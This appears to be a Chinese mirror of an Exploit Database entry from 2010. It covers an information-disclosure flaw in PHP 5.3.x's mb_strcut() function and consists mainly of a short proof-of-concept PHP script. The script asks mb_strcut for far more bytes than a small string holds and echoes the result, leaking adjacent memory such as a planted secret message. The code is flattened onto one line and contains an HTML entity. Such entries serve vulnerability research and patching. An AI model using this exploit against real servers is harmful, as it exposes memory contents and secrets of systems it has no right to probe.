PHP 5.3.x – ‘mb_strcut()’ Information Disclosure

• Exploit Database
• 121 阅读

• 作者： Mateusz Kocielski
  日期： 2010-11-07
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34979/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14

  # source: https://www.securityfocus.com/bid/44727/info # # PHP is prone to an information-disclosure vulnerability. # # Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. #   <?php $b = "bbbbbbbbbbb"; str_repeat("THIS IS A SECRET MESSAGE, ISN&apos;T IT?", 1); $var3 = mb_strcut($b, 0, 1000); echo $var3; ?>